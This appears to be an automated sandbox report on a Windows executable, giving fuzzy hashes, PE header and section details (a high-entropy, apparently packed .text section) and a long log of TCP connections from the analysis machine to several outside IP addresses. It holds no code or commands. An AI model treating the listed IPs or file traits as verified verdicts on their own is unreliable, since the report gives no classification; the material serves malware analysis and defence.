SSDEEP:	12288:+i5DaTB8MfGXNhvNnDUS8N88qR5dqffVWXwIxNRVNNQXDEcjcS5ig5xiKUyRG5:D5DaTBPf6VnQj6ZgUXwIjjb6pcSgKUy
TLSH:	C105E05EB7ED6780FAFB8B7C98A670000D3E3C9D9503C6587824211E05B2B59ADD6F36
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...l..d................................. ....@...... ....................................`...@......@............... .....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64D80F6C [Sat Aug 12 23:02:04 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcc000	0x560	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc8680	0xc8800	False	0.9291809538653366	data	7.887039293485093	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xcc000	0x560	0x600	False	0.400390625	data	3.923743323030975	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xcc0a0	0x2d4	data			0.43370165745856354
RT_MANIFEST	0xcc374	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2023 08:40:58.175869942 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.175869942 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.176026106 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.176074028 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.186991930 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187077045 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187117100 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187151909 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187185049 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187345028 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187457085 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187586069 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187711954 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187750101 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187854052 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.187977076 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.188163996 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.188196898 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.188293934 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.229150057 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.319909096 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.319978952 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.320108891 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.320183992 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.320554972 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.320637941 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.320843935 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.331558943 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.331603050 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.331743002 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.331778049 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332703114 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332741022 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332773924 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332808971 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332844019 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332876921 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332910061 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332942009 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.332976103 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333009005 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333041906 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333076000 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333108902 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333142996 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333175898 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333209038 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333241940 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333275080 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333308935 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.333343983 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.426337004 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.426384926 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.426469088 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.426469088 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.426709890 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.426784039 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.426784039 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.427079916 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.427154064 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.439289093 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439344883 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439364910 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439384937 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439419031 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439455986 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439488888 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439538956 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439583063 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439616919 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439652920 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439688921 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439723015 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439759016 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439791918 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439826965 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439862013 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439893007 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439927101 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439960957 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.439996004 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.440033913 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.440128088 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.578860044 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.578922033 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:40:58.578973055 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:40:58.579020023 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:41:01.251616001 CEST	443	49687	23.0.174.139	192.168.2.3
Aug 13, 2023 08:41:01.251646996 CEST	443	49687	23.0.174.139	192.168.2.3
Aug 13, 2023 08:41:01.251765966 CEST	49687	443	192.168.2.3	23.0.174.139
Aug 13, 2023 08:41:01.251765966 CEST	49687	443	192.168.2.3	23.0.174.139
Aug 13, 2023 08:41:43.221743107 CEST	80	49689	192.229.221.95	192.168.2.3
Aug 13, 2023 08:41:43.221944094 CEST	49689	80	192.168.2.3	192.229.221.95
Aug 13, 2023 08:41:43.629185915 CEST	80	49691	192.229.221.95	192.168.2.3
Aug 13, 2023 08:41:43.629314899 CEST	49691	80	192.168.2.3	192.229.221.95
Aug 13, 2023 08:41:44.565244913 CEST	80	49703	209.197.3.8	192.168.2.3
Aug 13, 2023 08:41:44.565300941 CEST	80	49712	209.197.3.8	192.168.2.3
Aug 13, 2023 08:41:44.565339088 CEST	80	49704	209.197.3.8	192.168.2.3
Aug 13, 2023 08:41:44.565380096 CEST	49703	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:41:44.565455914 CEST	49712	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:41:44.565540075 CEST	49704	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:41:44.685868979 CEST	49690	443	192.168.2.3	23.211.5.146
Aug 13, 2023 08:41:44.686163902 CEST	49691	80	192.168.2.3	192.229.221.95
Aug 13, 2023 08:41:48.166330099 CEST	49677	443	192.168.2.3	184.28.113.215
Aug 13, 2023 08:41:48.184070110 CEST	443	49677	184.28.113.215	192.168.2.3
Aug 13, 2023 08:41:48.184132099 CEST	443	49677	184.28.113.215	192.168.2.3
Aug 13, 2023 08:41:48.184190035 CEST	49677	443	192.168.2.3	184.28.113.215
Aug 13, 2023 08:41:48.184242964 CEST	49677	443	192.168.2.3	184.28.113.215
Aug 13, 2023 08:41:48.391855001 CEST	49687	443	192.168.2.3	23.0.174.139
Aug 13, 2023 08:41:48.392235994 CEST	49689	80	192.168.2.3	192.229.221.95
Aug 13, 2023 08:41:48.392334938 CEST	49686	443	192.168.2.3	23.0.174.139
Aug 13, 2023 08:41:49.308480024 CEST	49704	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:41:49.308660984 CEST	49706	80	192.168.2.3	93.184.221.240
Aug 13, 2023 08:41:49.308736086 CEST	49710	80	192.168.2.3	173.222.108.226
Aug 13, 2023 08:41:49.308810949 CEST	49712	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:41:49.320236921 CEST	80	49710	173.222.108.226	192.168.2.3
Aug 13, 2023 08:41:49.320308924 CEST	49710	80	192.168.2.3	173.222.108.226
Aug 13, 2023 08:41:49.323312998 CEST	80	49706	93.184.221.240	192.168.2.3
Aug 13, 2023 08:41:49.323343039 CEST	80	49704	209.197.3.8	192.168.2.3
Aug 13, 2023 08:41:49.323363066 CEST	80	49712	209.197.3.8	192.168.2.3
Aug 13, 2023 08:41:49.323427916 CEST	49706	80	192.168.2.3	93.184.221.240
Aug 13, 2023 08:41:49.323438883 CEST	49704	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:41:49.323467970 CEST	49712	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:42:05.686454058 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:05.686516047 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:05.686644077 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:05.729310989 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:05.729357004 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.264986038 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.265130997 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.268420935 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.268445969 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.268853903 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.324003935 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.532541990 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.578815937 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870059013 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870142937 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870162010 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870193005 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870228052 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870249033 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870301008 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870301008 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870341063 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870371103 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870371103 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870460987 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870503902 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870516062 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870568037 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:06.870587111 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870666981 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:06.870666981 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.037621975 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.037668943 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.037946939 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.037955046 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.037982941 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.038022041 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.038085938 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.038110971 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.038146973 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.038235903 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.038381100 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.038418055 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.038490057 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.038511038 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.038674116 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.038701057 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.205544949 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.205593109 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.205687046 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.205745935 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.205786943 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.205832005 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.205872059 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.205914021 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.205939054 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.205965042 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.205996990 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206176996 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206254959 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206254005 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206290960 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206331968 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206358910 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206408024 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206438065 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206516027 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206541061 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206573963 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206600904 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206696987 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206728935 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206775904 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.206820011 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.206860065 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.207052946 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.207124949 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.207144976 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.207175970 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.207206964 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.207221985 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.207247972 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.207288980 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373071909 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373111963 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373235941 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373266935 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373317003 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373357058 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373467922 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373505116 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373572111 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373589039 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373667955 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373850107 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373888016 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.373970032 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.373986006 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.374027014 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.374068022 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.374290943 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.374325037 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.374408007 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.374428034 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.374509096 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.374823093 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.374860048 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.374927044 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.374942064 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.375009060 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.375283957 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.375315905 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.375411987 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.375431061 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.375499010 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.375536919 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.375845909 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.375885010 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.375955105 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.375974894 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376030922 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.376074076 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.376378059 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376403093 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.376411915 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376504898 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.376521111 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376586914 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.376651049 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376682997 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376782894 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.376794100 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.376874924 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377005100 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377036095 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377116919 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377127886 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377207994 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377291918 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377321005 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377403021 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377415895 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377502918 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377577066 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377598047 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377629995 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377726078 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377736092 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377794981 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377813101 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377856016 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.377856016 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377876043 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.377966881 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.378058910 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.380625010 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.545768023 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.545824051 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546037912 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546078920 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546103954 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546163082 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546190977 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546211958 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546292067 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546381950 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546401978 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546430111 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546453953 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546612024 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546628952 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546703100 CEST	443	49739	108.181.20.39	192.168.2.3
